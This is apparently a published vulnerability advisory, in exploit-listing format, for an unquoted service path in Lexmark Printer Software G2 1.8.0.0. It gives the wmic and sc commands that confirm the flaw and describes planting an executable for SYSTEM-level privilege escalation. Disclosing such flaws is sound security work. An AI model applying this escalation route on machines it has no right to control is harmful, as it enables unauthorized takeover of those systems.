Lexmark Printer Software G2 Installation Package 1.8.0.0 – ‘LM bdsvc’ Unquoted Service Path

# Exploit Title: Lexmark Printer Software G2 Installation Package 1.8.0.0 - 'LM__bdsvc' Unquoted Service Path
# Date: 2021-06-20
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.lexmark.com/
# Software Link: https://downloads.lexmark.com/downloads/drivers/Lexmark_Printer_Software_G2_Installation_Package_01292021.exe
# Version: 1.8.0.0
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%LM__bdsvc%"' get displayname, pathname, startmode, startname

DisplayName                   PathName                                     StartMode  StartName
Lexmark Communication System  C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "LM__bdsvc"
SC QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: LM__bdsvc
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Lexmark\Bidi\LM__bdsvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Lexmark Communication System
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.